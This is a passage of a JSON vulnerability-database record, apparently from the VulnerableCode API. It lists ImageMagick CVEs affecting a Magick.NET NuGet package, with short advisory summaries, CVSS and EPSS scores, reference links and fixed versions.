5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/26088a83d71e9daa203d54a56fe3c31f3f85463d","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/26088a83d71e9daa203d54a56fe3c31f3f85463d"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rw6c-xp26-225v","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:13:11Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rw6c-xp26-225v"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25797","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25797"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442106","reference_id":"2442106","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442106"},{"reference_url":"https://github.com/advisories/GHSA-rw6c-xp26-225v","reference_id":"GHSA-rw6c-xp26-225v","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-rw6c-xp26-225v"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25797","GHSA-rw6c-xp26-225v"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-yx7r-r7ez-7uhp"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21546?format=json","vulnerability_id":"VCID-zab9-9tqj-hbhg","summary":"ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder\nA crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort.\n\nFound via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25985.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25985.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25985","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04961","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04745","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04767","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04782","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04815","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04827","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04792","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04773","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04725","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04734","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04879","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04916","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04955","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25985"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25985","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25985"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/1a51eb9af00c36724660e294520878fd1f13e312","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/1a51eb9af00c36724660e294520878fd1f13e312"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v7g2-m8c5-mf84","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:05:38Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v7g2-m8c5-mf84"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25985","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25985"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442127","reference_id":"2442127","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442127"},{"reference_url":"https://github.com/advisories/GHSA-v7g2-m8c5-mf84","reference_id":"GHSA-v7g2-m8c5-mf84","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-v7g2-m8c5-mf84"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:5573","reference_id":"RHSA-2026:5573","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:5573"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25985","GHSA-v7g2-m8c5-mf84"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-zab9-9tqj-hbhg"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24592?format=json","vulnerability_id":"VCID-zpcy-nms7-kuha","summary":"ImageMagick has Integer Overflow leading to out of bounds write in SIXEL decoder\nAn integer overflow vulnerability exists in the SIXEL decoer. The vulnerability allows an attacker to perform an out of bounds via a specially crafted mage.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28493.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28493.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28493","reference_id":"","reference_type":"","scores":[{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17414","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17322","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17474","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17542","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17495","published_at":"2026-04-02T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18877","published_at":"2026-04-13T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18682","published_at":"2026-04-29T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18725","published_at":"2026-04-26T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18746","published_at":"2026-04-24T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18858","published_at":"2026-04-21T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18843","published_at":"2026-04-18T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.1883","published_at":"2026-04-16T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18975","published_at":"2026-04-11T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18928","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28493"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r39q-jr8h-gcq2","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T17:16:54Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r39q-jr8h-gcq2"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28493","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28493"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445883","reference_id":"2445883","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445883"},{"reference_url":"https://github.com/advisories/GHSA-r39q-jr8h-gcq2","reference_id":"GHSA-r39q-jr8h-gcq2","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-r39q-jr8h-gcq2"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28493","GHSA-r39q-jr8h-gcq2"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-zpcy-nms7-kuha"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/23167?format=json","vulnerability_id":"VCID-zvq4-ybph-buga","summary":"ImageMagick has an Out-of-Bounds write of a zero byte in  its X11 display interaction\nAn out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33535.json","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33535.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33535","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02744","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02735","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02764","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02724","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.0274","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.0277","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02773","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02792","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02762","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04197","published_at":"2026-04-02T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00251","published_at":"2026-04-26T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00253","published_at":"2026-04-21T12:55:00Z"},{"value":"5e-05","scoring_system":"epss","scoring_elements":"0.00252","published_at":"2026-04-24T12:55:00Z"},{"value":"6e-05","scoring_system":"epss","scoring_elements":"0.00327","published_at":"2026-04-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33535"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33535","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33535"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mw3m-pqr2-qv7c","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-27T19:52:50Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mw3m-pqr2-qv7c"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33535","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33535"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451855","reference_id":"2451855","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451855"},{"reference_url":"https://github.com/advisories/GHSA-mw3m-pqr2-qv7c","reference_id":"GHSA-mw3m-pqr2-qv7c","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-mw3m-pqr2-qv7c"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1077698?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.11.1","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.11.1"}],"aliases":["CVE-2026-33535","GHSA-mw3m-pqr2-qv7c"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-zvq4-ybph-buga"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21962?format=json","vulnerability_id":"VCID-zx14-t8et-ufcq","summary":"ImageMagick: Memory leak in coders/txt.c without freetype\nIf a `texture` attribute is specified for a TXT file, an attempt will be made to read it via `texture=ReadImage(read_info,exception);`. Later, when retrieving metrics via the `GetTypeMetrics` function, if this function fails (i.e., `status == MagickFalse`), the calling function will exit immediately but fail to release the texture object, leading to memory leakage.","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/e6394098af39a9689bb5f0b4eb6a9968e449a8d3","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/e6394098af39a9689bb5f0b4eb6a9968e449a8d3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3q5f-gmjc-38r8","reference_id":"","reference_type":"","scores":[{"value":"0.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3q5f-gmjc-38r8"},{"reference_url":"https://github.com/advisories/GHSA-3q5f-gmjc-38r8","reference_id":"GHSA-3q5f-gmjc-38r8","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-3q5f-gmjc-38r8"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-3q5f-gmjc-38r8"],"risk_score":1.4,"exploitability":"0.5","weighted_severity":"2.7","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-zx14-t8et-ufcq"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@13.10.0"}